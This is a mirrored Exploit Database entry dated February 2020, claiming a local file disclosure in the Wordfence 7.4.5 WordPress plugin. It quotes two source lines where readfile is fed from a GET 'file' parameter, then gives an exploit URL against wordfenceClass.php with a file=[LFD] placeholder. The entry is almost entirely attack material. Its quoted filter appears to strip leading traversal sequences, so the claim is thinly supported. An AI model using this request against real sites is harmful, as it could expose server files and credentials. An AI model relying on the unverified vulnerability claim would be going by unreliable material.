WordPress Plugin Wordfence.7.4.5 – Local File Disclosure

• Exploit Database
• 13 阅读

• 作者： Mehran Feizi
  日期： 2020-02-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48061/

• #Tile: WordPress Plugin wordfence.7.4.5 - Local File Disclosure
  #Author: mehran feizi
  #Category: webapps
  #Date: 2020-02-12
  #vendor home page: https://wordpress.org/plugins/wordfence/
  
  ==============================================================================
  Vulnerable Source:
  5662: readfile readfile($localFile);
  5645: $localFile = ABSPATH . preg_replace('/^(?:\.\.|[\/]+)/', '', sanitize_text_field($_GET['file']));
  =================================================================================
  Exploit:
  localhost/wp-content/plugins/wordfence/lib/wordfenceClass.php?file=[LFD]
  =================================================================================